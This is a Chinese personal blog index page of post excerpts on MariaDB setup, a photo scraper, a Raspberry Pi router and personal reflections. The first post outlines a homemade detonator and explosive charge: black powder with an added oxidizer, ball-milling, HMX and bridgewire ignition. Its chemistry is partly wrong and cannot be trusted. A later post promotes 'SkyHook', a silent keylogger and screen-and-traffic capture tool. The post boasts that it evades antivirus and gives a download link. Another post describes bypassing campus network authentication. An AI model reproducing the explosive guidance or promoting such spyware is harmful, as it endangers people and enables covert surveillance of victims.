电子雷管制作方案

这两天需要做一个电子起爆器,用来在time-emergency瞬间销毁磁盘和内存。
这里要做的是起爆器,需要的药剂尽可能简单可靠,爆燃性能较好即可。至于销毁储存设备我希望使用HMX,增加稳定剂之后可以得到较低的爆轰性能,这样可以更加彻底有效的销毁数据载体。
另外,根据你的紧迫程度,我强烈建议在起爆前复写数据区,不过这个不是这个方案的重点。
黑火药的性能非常满足我的需求,制备过程网上有一堆。我希望你在制作前最好具有一定的化学操作知识,不然这很危险。
为了提高爆速,我们可以加入少量(10:1)的氧化剂,比如氯化钾和高锰酸钾的混合剂,这样可以有效提高火药性能以及燃烧速率。
粉末的混合推荐使用球磨机。理论上来说用钢球也是可以的,但为了保险起见最好还是用铜球或者木球。
研磨好之后将粉末与丙烯混合,待用。
起爆方式的话 桥丝法就好,之后用热缩管处理一下药头密封就可以了。

Centos 7.2下安装MariaDB的步骤

MariaDB是MySQL源代码的一个分支,在意识到Oracle会对MySQL许可做什么后分离了出来。
除了作为一个Mysql的“向下替代品”,MariaDB包括的一些新特性使它优于MySQL。

由于Oracle强行要收费,Centos 7 将mysql 替换为了 mariadb,如果安装mysql的话,会出现各种神奇的错误:

ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/lib/mysql/mysql.sock' (2)

比如说上面这个~。~
所以我们还是愉快的安装MariaDB吧,下面是安装步骤: Continue reading

Lofter爬虫

这两天对LOFTER上面的几个妹子情有独钟,然而她们每一个都是自拍狂魔,手动收藏她们的照片实在是太慢了,于是我就写了一个爬虫专门去收集她们的照片了。
使用方法非常简单,只要输入Lofter ID就可以爬取到妹子(当然也可以是汉子)的所有照片了。爬取之后的图片存放在主机中。
本来我把地址po出来了,但是居然有人恶意攻击,所以暂时不公开成品地址了。
Continue reading

将树莓派打造成一台智能路由器

首先请允许我啰嗦几句,能把这东西做出来一定要感谢二食堂一楼那些24小时open的窗口以及
宿管大妈晚上非常不走心的锁门方式,我才没有饿死......

使用树莓派设置为WiFi热点的方法主要有两种:

  • 桥接方式:类似交换机,将LAN口的信号转换为无线,各终端独立工作。
  • 路由方式:和大部分路由器工作方式一样。

由于我做这个路由器的主要目的是为了绕过校园网认证系统,并且可以让我的多个设备同时上网,所以我采用了路由的方式来配置树莓派。
Continue reading

若有天我不复勇往

这次来深圳的目的确实是来说再见的,目的单纯到谁都可以看出来。路上一直在想怎么和大家说,纠结了很久以后,还是觉得实话实说吧。
以前听大家说集齐BAT就可以召唤神龙,于是我去集齐了。发现自己面对的并不是什么可以许愿的神龙,而是一条更加艰涩的路,在路上确实可以收获很多,但也必须放弃很多。
其实我自己也不知道为什么要做出这样的决定,也不知道自己这样做到底对不对。
但既然已经选择了,那就继续走下去吧。 Continue reading

SkyHook的相关文档

Skyhook是一个利用hook技术获取屏幕截图,按键信息以及网络流数据的一个后台运行工具。

https://github.com/Elfsong/WintersWrath/blob/master/python/skyhook.rar

这东西的特点比较明确:体积小,后台静默运行,最关键是免杀啊(你懂得)。至于远控功能嘛,你问我有没有,其实是有的,不过得你自己去找一下啦~
使用方法灰常简单,只需要双击skyhook.exe文件,程序就会在后台静默运行了。屏幕截图放在skyhook.exe同目录的/pic文件夹下,键盘记录和网络流记录分别放在Keyboard.txt和Net.txt中。我有一只好木马,我从来都不骑,综上,简直居家旅行,出门必备啊~

PyWin32/Win32com安装错误解决方法

最近重装了python27的环境,开始完善Skyhook的一些细节。有很多组件都需要用到win32api这个库,但是我遇到了下面这种情况:

>>> import win32api
Traceback (most recent call last):
File "<pyshell#0>", line 1, in <module>
import win32api
ImportError: DLL load failed: 设备未就绪。

这个问题前后折磨了我两天,我试着把package下面的lib重新导入(webLink)也没有解决问题(当然,这帮我解决了另外一个问题),之后我又试着添加了环境变量,依然无果。直到最后我发现了pywin32_postinstall.py这个文件,问题终于解决了。

python C:/Python27/Scripts/pywin32_postinstall.py -install

最后我想说一下,这个方法或许可以解决你的问题,也可能解决不了你的问题。这取决于你的python版本,pywin32的版本,windows的版本,甚至于你的处理器内核。不过不管怎样,希望你可以继续尝试,要相信总会成功的。

南途列车

这是一条凌晨两点在绿皮火车硬座上的推送。
我再一次踏上了去杭州的路。路上一直在想一句话:真正要离开的人是不会说再见的,他只会在一个风和日丽的下午,随便裹上一件外套出门,从此便不再回来。
南星桥的梦

阶段性总结

这段时间过的其实是很紧张的。相比于安心校园的同学们,少了几分归属感。回到学校似乎一切都没有变,也似乎一切都变了。
时间开始变的充满挑战,不再想以前那样按部就班,过着别人安排好的生活。每个时间段需要做什么都需要去仔细的考虑一下了。过两天有项目的答辩,还有信息安全工程的考试,希望可以顺利度过。
在公司学到了很多东西,越来越感觉到功夫在诗外。每次这种阶段性的跳跃都伴随着一些顿悟,希望可以找到更好的自己吧。总之,退而苦修强大的内功或许可以带给我们更多的启示。

机器学习的分类

很早很早以前就想看看机器学习的书了,但总是很零散,东一片西一片的没有系统的学习过。最近打算趁着这次机会,好好学习一下关于机器学习的东西。
正好最近一个小项目大体上算是完成了,也有一些时间可以好好看看书充实一下自己了。拿机器学习开刀我觉得灰常不错哦(^-^)

 1)监督学习: 有train set,train set里面y的取值已知。
 2)无监督学习:有train set, train set里面y的取值未知。
 3)半监督学习:有train set, train set里面y的取值有些知道有些不知道。
 4)增强学习:reinforcement learning, 无train set。

其实机器学习的种类无非就是这四种,但其中的内容却是博大精深:
机器学习分类
之后我打算按照图上的顺序把自己的知识点逐步的梳理一遍,感觉会是一个蛮有意思的过程。